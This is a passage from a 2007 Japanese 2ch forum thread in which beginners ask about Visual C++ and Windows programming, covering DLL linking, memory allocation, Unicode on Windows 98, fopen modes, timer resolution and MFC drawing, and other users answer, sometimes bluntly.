LoadLibraryを使っても意味無かったので、よくわからないです。
どなたか教えて頂ければ幸いです。

VS2005というIDE環境で勉強してるから楽出来てる分その楽
出来ている理由が解って無く勉強不足になってると自らは思います。


332 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:41:21 ]
>>330
「静的」「動的」の意味が分かっていないような気がする。

コードの中で
  int i;
  char String[80];
とかやるのが「静的確保」。これらの変数は実行ファイルがメモリ上に
ロードされた時点で既に存在していて、終了と同時に消滅する。
グローバル変数だろうが(クラスの)メンバ変数だろうがそれは同じ。
したがって delete/delete[] は必要ない。

333 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:48:03 ]
>>331
LoadLibraryで読み込んだDLLの関数を呼び出すには、
GetProcAddressで関数のアドレスを取得するんだよ。



334 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:49:34 ]
>>331
VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、
この2つは完全に別種のもの。中身は一緒、ただ使い方が違う。

LIBファイルは静的リンク用のファイル。
自分の実行ファイルの中に(コンパイルの時点で)取り込んでしまって、
あたかも自分の書いたコードと同じように使えます、というもの。
だからLIBを組み込むときにはリンカなり#pragmaなりで予め設定をして、
コンパイルのときにリンクすることを明示しなければならない。

DLLは動的リンク用のファイル。
一般的には、まずLoadLibrary()でDLLファイルを読み込み、
(そこでもし成功したなら)次にGetProcAddress()で
DLLの中に埋め込まれた関数を取り出して使う、
最後にFreeLibrary()でDLLを自分のプログラムから取り外す、
という段取りを踏む。
コンパイル時には存在しなくても構わない、実行時にあればいい。

335 名前:デフォルトの名無しさん [2007/02/06(火) 17:55:16 ]
>>332
うーんということは私が知らず知らずのうちに
どこかで動的確保しているということでしょうか?

336 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 18:02:34 ]
>>334
>VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、 
このLIBはインポートトライブラリ。
LoadLibraryやらGetProcAddressやらメンドクサイ処理をしてくれる短いモジュール。
これを静的にリンクすればDLLの呼び出しが簡単に出来る。
インポートトライブラリがあるなら極力使ったほうが楽。

337 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 18:05:31 ]
インポートトライブラリ
インポートトトライブラリ
インポートトトトライブラリ

338 名前:320 [2007/02/06(火) 18:12:06 ]
スレッドオブジェクトの配列をグローバル変数にしてるんですが
これはまずいですか?せめて原因をつきとめたいです

339 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 18:12:57 ]
>>335
動的確保はスタックに積むケースとnewやmallocなどでヒープから確保するケースがある。
静的確保はstaticで定義した場合(明示的にstaticをg使わないケースも含む)
クラス内のメンバー変数はクラスがどう生成されたかによる。

>>336
誤字をさらにコピーしてしまったか、インポートライブラリだな。


340 名前:331 mailto:sage [2007/02/06(火) 18:44:51 ]
>>333さん
>>334さん
>>336さん
ご教授ありがとうございました。
GetProcAddress()FreeLibrary()ってのも必要なんですね。
それと、dll作った時のlibはインポートライブラリなんですね。
「プログラムはなぜ動くのか」って本を読んだにもかかわらず
流し読みで頭に入っておらず再読したらちゃんと書いてありました。
はぁ、馬鹿だな俺って。

341 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 19:56:07 ]
SendMessageであるウィンドウにDボタンを送りたいのですが、
SendMessage(hwnd,
このあとをどうすればよいのでしょうか。
ご教授願います。

342 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 20:06:34 ]
>はぁ、馬鹿だな俺って。
それに気がつくことができれば、今後はもっと「馬鹿」じゃなくなるでしょう。
そうやって向上できる人間が、「賢い」のです。
#で、「ご教示」ですね。

>>320
ソース公開しちゃった方が話が早そうですね。

343 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 20:07:43 ]
>>341
Dボタンってなんですか?
マウスクリックのイベントを送りたいなら、Spy++でどういうパラメータを渡せばいいか覗いてみると宜しいかと。



344 名前:317 mailto:sage [2007/02/06(火) 21:25:08 ]
>>319
フラグを使うのは普通なんですね。
ありがとうございました。

345 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 00:17:13 ]
>>320
いろいろ言われてるけど、とりあえず
配列利用時に、添え字がオーバーアクセスしてないか確認するべし。

> 原因を突き止めたい
デバッガを上手に利用しましょう。
ある特定のメモリ空間にアクセスした時にbreakかけることも出来たはず。
詳しくは「ブレークポイント」をMSDNで調べてくれ。

346 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 00:59:43 ]
基礎的すぎる質問なんですが、


ダイアログエディタで適当にあれこれコントロールを張ったとき、
VC++2003でビルドしたプログラムを98SEで走らせると、

コントロールのマルチバイト文字がすべて文字化けする。
エディットボックスに直接マルチバイト文字入れても同じく。
メニューバーやステータスバーは文字化けしない。

文字はTCHAR系統を使い、ビルドした結果はすべてwchar_tになっているはず。


このような状況で、文字化けさせない用にする方法を教えてくださいませんでしょうか?

347 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 01:47:02 ]
9xはUNICODE対応していないから、MSLUを使うか非UNICODEにするかしないとだめだよ。

348 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 02:07:28 ]
2000とXPは内部コードはUnicodeだけど98とかはどうなんだろう。
localeまわりかな?Unicode適応しないでビルドしたらSJISになっていけるのかな?

349 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 02:23:29 ]
>>347
なるほど…
わかりました。
ありがとうございました。

350 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 09:03:22 ]
>>346
マルチバイト文字(列) と ワイド文字(列) の意味を
使い分けられて無い気がするぞ。

マルチバイト文字列は char* で
ワイド文字列は wchar_t* だ。

351 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:14:21 ]
そもそもダイアログでコードページ932で作ってたりして

352 名前:デフォルトの名無しさん [2007/02/07(水) 10:18:25 ]
クラスのメンバ変数についての質問です
グローバル変数としてビュークラスの外で宣言したクラスの
メンバ変数は0や空文字で初期化されてるんですが

そのクラスをビュークラスのメンバとして宣言するとそのクラスの
メンバ変数が初期化されないのはどうしてですか?

353 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:26:03 ]
>>352
C++スレ行くか
C++の入門書でも読んで勉強してください



354 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:31:05 ]
>>353
わからないんですね

355 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:36:05 ]
入門書にしっかり書いてある

356 名前:デフォルトの名無しさん [2007/02/07(水) 10:39:04 ]
pc10.2ch.net/test/read.cgi/tech/1167476845/
ではここで教えてください

357 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 11:03:34 ]
グローバル変数はコンパイル時に場所が決まってるから

358 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 16:30:17 ]
というより、C/C++の規格でそうなると定められているためと言ったほうがいいと思う。

359 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 16:33:10 ]
どうだろね。
仕組みから入ったほうが、そう決まってるからそうなんだ、より納得いくかもしれんし

360 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 17:01:56 ]
実装がそうだからそれが正しいという保証はどこにもない

361 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 17:25:43 ]
逆にこれは実装が先にあって仕様が追いついた例でもあるな。
構造体のコピーも似たようなもの。

362 名前:デフォルトの名無しさん mailto:age [2007/02/07(水) 18:49:23 ]
VC++7.0でライブラリファイルをリンクする方法を教えてください
winsockライブラリを使いたいのでお願いします

363 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 19:23:53 ]
#pragma comment(lib, "Mswsock.lib")



364 名前:269 mailto:sage [2007/02/08(木) 08:10:55 ]
269です。たびたび申し訳ありません。

SDK入れてWindowsアプリが作れるようになったんですが、ダイアログやアクセレータ等の
リソーススクリプトファイル(.rc)をエディットするResEditorがついてないみたいなので断念しそうです。
というかそれが目的だったので。
Windowsフォーム(.h)は作れるみたいですがどうしていいのかわかんないです。

Visual Studio 2005 Academic Editionだったらリソーススクリプトファイル(.rc)の作成は可能でしょうか?
可能ならば購入したいと思います。よろしくお願いします。

365 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 10:01:56 ]
MSに訊け

366 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 10:07:23 ]
>>363
ありがとうございます

367 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 10:35:00 ]
>>364
可能だがフリーのエディタもあるよ

368 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 11:04:04 ]
メモ帳でええがな

369 名前:デフォルトの名無しさん [2007/02/08(木) 11:50:13 ]
VisualStudio2005C++ExpressEditionにて
#include "stdafx.h"
#include"stdio.h"

int _tmain(int argc, _TCHAR* argv[])
{
FILE *fp=fopen("d:/test.txt","rw");
というコードを書きました。
FILE文付近で「〜Expression:(Invalid file open mode",0)〜」
というダイアログボックスがでます。
CRTセキュリティ強化されたためということですが、このセキュリティを
弱くしたいと思います。どのようにすればよいですか?

370 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 11:50:39 ]
WinSockのAPIを使ってphpから文字列を取得することはできますか?

371 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 12:12:23 ]
>>369
セキュリティ強化用の関数が追加されたけど
標準関数の仕様はかわらないのでは?

372 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 12:18:22 ]
>>370
プロトコル次第

373 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 12:20:17 ]
>>372
httpなんですが
あとサーバーに送る文字列の改行コードは\nで大丈夫でしょうか?



374 名前:デフォルトの名無しさん [2007/02/08(木) 13:09:22 ]
>>371
標準関数の仕様はかわらないのでは?
たぶんそうだと思うのですがうまくいかないです。


375 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 13:18:46 ]
エラー通り"rw"が悪い

376 名前:デフォルトの名無しさん [2007/02/08(木) 14:04:09 ]
>>275
VisualStudio2003だとうまくいくのですが、
構文的にrwなんてつけたらだめなのですか?

377 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 15:05:50 ]
unicodeかなんかじゃないの?

378 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 15:56:14 ]
"rw" なんてのは無い

379 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 16:37:09 ]
MSDNこういう例ものってるし "rw" もあるだろ

msdn2.microsoft.com/ja-jp/library/yeby3zcb(VS.80).aspx

fopen("newfile.txt", "rw, ccs=<encoding>");

380 名前:デフォルトの名無しさん [2007/02/08(木) 17:11:52 ]
多分すごい有名な
「新VisualC++6.0入門ビギナー編 林春比古署 ソフトバンク社」
を使って今勉強中なんですが、
241ページのサンプルプログラムで、
CPenクラスのオブジェクトのポインタ、’oldPen’ってゆうのを、
’旧ペン’と銘打って保存って書いてありますが、
これをする意味がわかりません。
わざわざポインタでなぜ確保しているのでしょうか?
pDC->SelectObject(&CPen型Object)で選択して書くだけなのに、
別に’旧ペン’を保存しておく必要があるのでしょうか?
私が簡単に確認した程度では、
oldPen 自体設定しなくても実行可能でしたし、
最後に’旧ブラシに戻す’ってゆう作業もなくても問題ありませんでした。
他にもいろいろ記述してoldPenの有用な使い方を検証しましたが、
やればやるほど意味がないのではという考えに傾きます。
大変限定的な質問ですが、
よければ本を持ってる方、もしくはよく知ってらっしゃる方でわかる方がいれば
教えていただけないでしょうか?




381 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:21:08 ]
MSDNのサンプルだとこんな感じだね

void CMyView::OnDraw( CDC* pDC )
{
CPen penBlack; // Construct it, then initialize
if( newPen.CreatePen( PS_SOLID, 2, RGB(0,0,0) ) )
{
// Select it into the device context
// Save the old pen at the same time
CPen* pOldPen = pDC->SelectObject( &penBlack );

// Draw with the pen
pDC->MoveTo(...);
pDC->LineTo(...);

// Restore the old pen to the device context
pDC->SelectObject( pOldPen );
}
else
{
// Alert the user that resources are low
}
}

382 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:24:47 ]
forums.belution.com/ja/vc/000/049/00.shtml
メモリ上のDCは元に戻すべきか?

383 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:24:47 ]
>>380
ttp://msdn2.microsoft.com/en-us/library/ms533272.aspx
>An application should always replace a new object with the original, default object after it has finished drawing with the new object.



384 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:28:50 ]
げ、マルチか

385 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 18:10:14 ]
だな
pc10.2ch.net/test/read.cgi/tech/1164787254/200-

386 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 18:56:26 ]
>>379
VS2005でソースみてみな

387 名前:デフォルトの名無しさん [2007/02/08(木) 20:16:15 ]
プログラムからtabindexの設定をするには?

388 名前:デフォルトの名無しさん [2007/02/08(木) 20:20:28 ]
>>369>>379
C/C++の標準規格としては"rw"なんてありません。
標準で認められているのは"r", "w", "a", "r+", "w+", "a+"及び
それにバイナリモードのbを2-3文字目(+とは順不同)に入れたもののみです。
勿論Visual C++はViusal C++で色々と独自に拡張はしていますが。

389 名前:デフォルトの名無しさん [2007/02/10(土) 17:51:19 ]
WinSockでhttpsを扱えますか?

390 名前:デフォルトの名無しさん mailto:sage [2007/02/10(土) 18:07:09 ]
扱えるかどうかと言えば扱える
ソケットとプロトコルは関係ない
要はアプリケーションがWinSockを使ってSSL通信できるように作ればいい

391 名前:デフォルトの名無しさん [2007/02/10(土) 18:49:44 ]
>>390
ありがとうございます少し調べてみます

392 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 01:39:25 ]
【初心者歓迎】C/C++室 Ver.34【環境依存OK】
で聞いたらスレ違いという事でここでオナガイシマス
VC6ですCtrl + Fで検索ダイアログを開いた時過去に検索した文字が出せますが
便利ですが間違えた検索単語を間違えたときの文字も残っています
一度まっさらにするにはどうしたら良いですか?

393 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 06:19:07 ]
パソコン初心者だろうか?



394 名前:デフォルトの名無しさん [2007/02/11(日) 09:42:36 ]
WinFormsのTextBoxで、
テキストの行がコントロールからはみ出たら最終行がきちんと見えるように
オートスクロールさせたいのですが
デザイナ内にもそれらしき設定はなさそうですし、
マニュアルでプロパティを調べてもそれっぽいものが見当たりません。
どうしたらいいでしょうか?

AutoScrollOffsetってのがそうですか?
なんかPointでスクロール先を指定するみたいですが、
もしこれがそうなら使い方が良く分からないので教えてください。

395 名前:394 mailto:sage [2007/02/11(日) 10:10:49 ]
とりあえず格好悪いですが
textBox->SelectAll();
textBox->ScrollToCaret();
でできました。

396 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 12:27:54 ]
ヒント
・オートスクロールが有効になっている場合、自動的にキャレットのある位置が表示されるようにスクロールされる
・TextBox::SelectionStartが現在のキャレットの位置

397 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 14:46:27 ]
392ですがどうしたら消せる?


398 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 15:02:24 ]
レジストリ辺りにでも保存されてるんじゃねーかな。
もしくは再インストール。

399 名前:デフォルトの名無しさん [2007/02/11(日) 23:32:04 ]
Lap[Count - 1] + Step >
(Lap[Count] = GetTickCount())
);/* case 2: の timeGetTime の部分*/
Stepが0以外だとStepに関わらず、このループを抜けるのに15ms以上もかかってしまいます。(Lap配列の数値を見て)
最初のtimeGetTimeの10万回ループは47msで遅いわけでもないですし、そもそもtimeGetTimeだとうまく動くのです。
どうしたらよいのでしょうか。


400 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 23:43:08 ]
いったいそれのどのあたりがループなんだ?

401 名前:399 [2007/02/11(日) 23:50:06 ]
>>400
ソースはってませんでした。

deaikei.biz/up/up/4549.zip.html
pass:cpp

#pragma comment(lib, "winmm.lib")を追加したら、
timeGetTime()とGetTickCount()の両方でうまく時間が出てこなくなってしまいました。

元に戻してもダメなので、ビルドする度に違うのかもしれません…

402 名前:デフォルトの名無しさん mailto:sage [2007/02/12(月) 00:07:11 ]
まず、ビジーループ氏ね
それに、timeGetTimeのNTでの規定精度は「5ms以上」
ついでに、強制コンテキストスイッチの間隔もある。

403 名前:399 [2007/02/12(月) 00:29:54 ]
>>402
試しに比較したかっただけなので、ループの方は勘弁してください。
timeBeginPeriodで精度を1msに調整しても結局GetTickCountで同様の症状になってしまいます。
コンテキストスイッチの待ち時間は10msを超えるようなものでしたっけ?



404 名前:デフォルトの名無しさん mailto:sage [2007/02/12(月) 02:17:41 ]
GetTickCountのヘルプ読んだか?
家のPCだと100ns単位で156250、約16ms程度の解像度だぞ。

405 名前:デフォルトの名無しさん mailto:sage [2007/02/12(月) 08:24:06 ]
普通1/60秒だからそんなもんだね。

406 名前:399 mailto:sage [2007/02/12(月) 19:24:33 ]
>>404-405
ようやく理解できました。
Sleep(0)ループのようにタイマー割り込みを待つのですね…
GetSystemTimeAdjustmentで測ってみたら15.625msでした。

407 名前:デフォルトの名無しさん [2007/02/13(火) 12:47:54 ]
CString型のメンバ変数strに文字列をいれていたのに
突然中身がなくなるというかデバッグ時にみると不適切なptr
となってアドレスは0を指しているようでした

関数から関数を呼び出してさらに関数をよびだしていきどんどん奥にいくと
この現象が起きたのですが
これはスタックオーバーフローというものですか?
解決策を教えてください

408 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 12:49:09 ]
>>407
関数一個ずつ丹念にデバッガで追っていくのが無難かな。
スタックオーバーフローにしろ領域破壊にしろ、どっかで誰かがなんかやってるだろうから。

409 名前:デフォルトの名無しさん [2007/02/13(火) 13:00:34 ]
>>408
ありがとうございます!!
strncpyで領域破壊を起こしていました

すごく助かりました!!

410 名前:デフォルトの名無しさん [2007/02/13(火) 14:14:12 ]
私はもともとC++Builder出身なのですが
VB6で、あるアプリを作成しています。

このアプリは、主処理のほとんどが
MS.NET Framework1.1 VC++.NET
で生成されたDLLで行われています。

このDLLをステップ実行やインスペクタでデバグしたいのです
が、親アプリがVBなので、どうやってデバグしたら良いやら
困り果ててます。

どなたかVC++のDLLのデバグ方法を伝授してください…
できれば簡単なやつで。

411 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 14:50:21 ]
ソースとデバッグ版DLLとpdbファイルがあればおk

412 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 14:54:59 ]
ソース、デバッグ版DLL、pdbファイルあります!
もちょっとだけ具体的に教えてもらえないでしょうか…

413 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 15:32:24 ]
それって開発環境そのまま?
途中で止めてアタッチする手もあるが、環境あるなら
DLLのデバッグ開始すると、実行時にEXE指定しろって言ってくるから
それでそのEXE指定すればいいと思う。
デバッグしたいとこはブレークポイント設定しておけばいいし。



414 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 15:35:06 ]
もしVB側もデバッグしてるのなら、関数呼び出し時にステップインで
DLLとPDBが同じとこにあればソースの場所聞いてくると思うので
そこでソース選べば追えると思うけど、、、

VB呼び出しはもしかしたら違うかもしれん、、、
C/C++からの呼び出ししかやったことないんで。
もしだめなら試すから言ってくれ

415 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 18:25:23 ]
>>413-414
丁寧なご回答ありがとうございます。
でもまだちょっと分かってないです…

DLLですが、メイク時に実行すると
「ActiveXコントロールテストコンテナ」というのが
出ます。
これかのことか!?と思ったのですが、EXE指定はできないっぽいです。

>>414さんの方法は今がんがってる最中です…

416 名前:デフォルトの名無しさん [2007/02/13(火) 20:56:40 ]
質問です。
学校で使っている描画のプログラム(?)をVC++6.0で使いたいと思い、
ヘッダーファイルとライブラリファイルを
Microsoft Visual Studio\VC98 のIncludeフォルダとLibフォルダにそれぞれ入れ、
プログラムをコンパイルしたのですが、

warning LNK4003: ライブラリの形式が無効です; ライブラリは無視されます

とエラーになってしまいます。
これと同様のことをBCC5.5でしても問題ありませんでした。
何か間違っているところがあれば是非教えてください。

417 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 21:01:20 ]
ライブラリがBCC用なんだろ。

418 名前:418 mailto:sage [2007/02/13(火) 21:40:29 ]
>>417
Win32 Static Libraryでプロジェクトを作りそこにライブラリソースを追加しビルドしました。
そしてできたライブラリファイルで再び試してみると、

ライブラリの形式が無効です  このエラーはでなくなりましたが、
LNK2001 :外部シンボル"関数名"は未解決です  このエラーは消えませんでした。

ライブラリファイルの作り方もよくわからなかったのですが合っているでしょうか?


419 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 21:41:53 ]
"関数名"が、そのライブラリに入っているべきものなら、
どっか、あってないんだろ。

420 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 22:36:39 ]
.NETでダイアログベースで作ってます。
CRectとGetWindowRectを使用して自身の座標を得ることはできたのですが
自身と関係ないWindowの座標を得る場合にはどうしたらいいんでしょうか?


421 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 00:22:20 ]
GetWindowRectだな。

必要とするウィンドウのハンドルを取得するべし。。
.NET Frameworks だけじゃ無理な気がしたので、WinAPI を使いましょう。

422 名前:デフォルトの名無しさん [2007/02/14(水) 12:19:22 ]
エディットコントロールにintの中身を表示させるにはどうしたらいいんですか?
文字列は"”でできました。
変数だけ書いたらエラーでました。

423 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 12:33:45 ]
釣れますか?



424 名前:デフォルトの名無しさん [2007/02/14(水) 14:47:48 ]
編集制御->文字列 = 文字列にな〜れ(数値);

425 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 16:27:57 ]
>>420
なぜ.NETでCRectとGetWindowRectが出てくる?

426 名前:デフォルトの名無しさん [2007/02/14(水) 17:05:59 ]
VC6.0でベースがDIALOGか、SDIで出力結果をDOS窓に出す方法はあるんですか。
はじめからDOS窓アプリにしないとだめですか?


427 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:13:21 ]
AllocConsole?

428 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:18:42 ]
VC++プログラマーちょっとこい!!
ex17.2ch.net/test/read.cgi/news4vip/1171440924/

429 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:31:05 ]
CTypedPtrList<CObList, VALUE*>のSeqValueListを
CTypedPtrList<CObArray, VALUE*>にする時ってどうすればいいんでしょうか?
下のがソースなんですが、やり方が良くわからない。。。orz
CItemInfo::~CItemInfo(){
int iCount;
POSITION pos;
VALUE *pValue;
m_pValueList = &m_SeqValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
m_pValueList = &m_ParValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
}

430 名前:426 [2007/02/14(水) 17:36:11 ]
AllocConsole();
freopen("con", "w", stdout);
printf("hello console\r\n");
//FreeConsole();
でできました。すみません。

431 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:54:01 ]
エディタの背景を黒にカスタマイズしたいのですが、どこにもそんな項目がありません
ちなみにヴァージョン6.0です

432 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 18:57:23 ]
エディター?IDEのかな?
ツールのオプションの書式の背景でない?

433 名前:420 mailto:sage [2007/02/14(水) 21:14:12 ]
void CMyDlg::OnMouseMove(UINT nFlags, CPoint point)
ってところでpointに入っててrectはサイズを知りたくて使ってただけでした、すみません。

クライアント座標はpointに入ってたのですがスクリーン座標を知るにはどうしたらいいんでしょうか?
SetCapture()でクライアント領域外の座標は得れたんですがクライアントが中心になってしまっています。
よろしくお願いします。



434 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 21:20:59 ]
ClientToScreen

435 名前:420 mailto:sage [2007/02/14(水) 22:51:21 ]
>>434
できました、

436 名前:420 mailto:sage [2007/02/14(水) 22:56:32 ]
できました、ありがとうございます!

437 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 23:09:02 ]
>>433
それどうみても.NETでない。

438 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 23:33:46 ]
俺たちはとんでもない勘違いをしていたようだ
.NETとは、Visual Studio .Net 2003の省略形だったんだよ!

439 名前:デフォルトの名無しさん mailto:sage Ω<ナ [2007/02/15(木) 00:04:24 ]
2002 のことも忘れないで上げてください。

440 名前:420 mailto:sage [2007/02/15(木) 00:06:40 ]
まさしくVisualStudio.Net2003の事です。

.NETとは違ったんでしょうか・・・すみません;

441 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 00:09:27 ]
な……なんだってー!!
……職場にもいるけどな、そういうヒト。
さらにVisual Studio 2005のことも「ドットネット」って呼んでくれるから、
毎回頭の中で翻訳するのが大変。
例「C++でデバッグしていてドットネットが落ちるんだよな〜」「???」

442 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 00:41:29 ]
>>440
.NETと言ったら普通.NET Frameworkのことを指す。

新規プロジェクトの中に.NETとか書かれたテンプレートがあるだろ。
それが.NET Frameworkを使うプロジェクトを作るのに使うテンプレート。

.NET Frameworkには大量のクラスライブラリが含まれているし、
Visual Studioではフォームエディタも使え、作るほうとしては充実しているが、
利用者に.NET Frameworkをインストールしてもらわないといけないのが、
一般的なアプリケーション開発ではネック。
XP SP2あたりから漏れなくインストールされるようになってきているけどね。

443 名前:デフォルトの名無しさん [2007/02/15(木) 10:44:29 ]
Vistaで、インストールされているWindowsコンポーネントを確認すると
.NET Frameworkっていうのがあった。

言い方が良くわからないけど、つまり.NETというのは単なる1つのAPI
ってことで、開発環境を指しているのではない、ということ?



444 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 10:57:02 ]
>>443
.NETの環境向けに開発できるのが、VS .NET

445 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 11:04:02 ]
初心者の場合は自分勝手な略語を使わないできちんと書けばいい
ハードディスクのことをハードと呼ぶやつとか
本人はどういうつもりか知らんけど馬鹿にしか見えない。

446 名前:デフォルトの名無しさん [2007/02/15(木) 11:05:21 ]
なるほど…。
Visual Studio .NETというのは、.NET Frameworkがインストールされている
端末向けの開発環境、ということか。

Windows Vistaには標準で.NET Frameworkがインストールされているけど、
XPはSP2を入れないと.NET Frameworkが入っていないから、
そういう端末を対象とするなら.NET Frameworkが入っているかいないかを
確認しなければならないということか。

447 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 11:10:29 ]
Visual Studio .NETという名前だと .net専用と間違える人が多すぎるから
Visual Studio .NETという名前は使われなくなった。

448 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 11:15:08 ]
あ、俺も以前、ずっと勘違いしてたw
.NETというくらいだからネットワーク=インターネット専用なんだろうな、俺には
関係ないなと…w



449 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 14:39:24 ]
逆にVisual Basicは2005でも.NETを付けておけば良かったのにと思う。
「Visual Basic .NET」 2005という具合にさ。

450 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 22:37:51 ]
Visual Stadio2005 をインストールして
VS2005 C++で
#include <stdio.h>
main()
{
int a;
}
をコンパイルすると
error C4430: 型指定子がありません - int と仮定しました
が出ます
今まではいけてたんですが、わかる方お願いします。


451 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 22:55:09 ]
int main(){
}

452 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 01:11:53 ]
関数の戻り値の型を省略できるのはCだけ。

たぶん拡張子をcにしたり、コンパイルオプションから/TPを外したりすれば、
(int抜きの)main()でも行けると思う。

453 名前:デフォルトの名無しさん [2007/02/16(金) 03:40:09 ]
stringをintにするにはどうすれば?



454 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 03:47:10 ]
>>453
cli::String なのか std::string なのかはっきりしろ。

455 名前:デフォルトの名無しさん [2007/02/16(金) 03:55:21 ]
std::string

456 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:03:33 ]
>>455
std::string s("123");
int i = atoi(s.c_str());

457 名前:デフォルトの名無しさん [2007/02/16(金) 04:07:03 ]
>>456
それができないんですよ
エラーがでます

458 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:08:59 ]
エラーが出ますじゃないでしょ。
どんなエラーが出るのか言いなさいよ。

459 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:09:06 ]
>>457
どんなエラーか書け

460 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:16:54 ]
>>457
そんなんだから成長しないんですよ。

461 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:18:10 ]
>>457
とっとと書けよ。あんぽんたん。

462 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:19:58 ]
同じ奴みたいだな。夜釣りの常習犯か。
pc10.2ch.net/test/read.cgi/tech/1169039760/877



463 名前:デフォルトの名無しさん [2007/02/16(金) 12:45:22 ]
設計でUMLを使ってる人いますか?
マルチスレッドとかUMLで設計できますか?



464 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 13:17:43 ]
UMLは詳しく知らん身だけど
アクティビティ図使えば表現できるんじゃねーかとは思う

が、とりあえずスレ違いだ。

465 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 01:16:40 ]
VC++でゲームを作ろうと考えてるんですが、オススメの入門書等ありませんか?
何件か書店回ってパラパラと立ち読みしてみたんですがどういうのが良いのか分からなくて困ってます。
やはり実用例があるC++でゲームを作るみたいな本が良いんでしょうか。
既出、スレ違いだったらすみませんorz

466 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 11:41:49 ]
ゲ製作技術
pc10.2ch.net/gamedev/
板違いやな

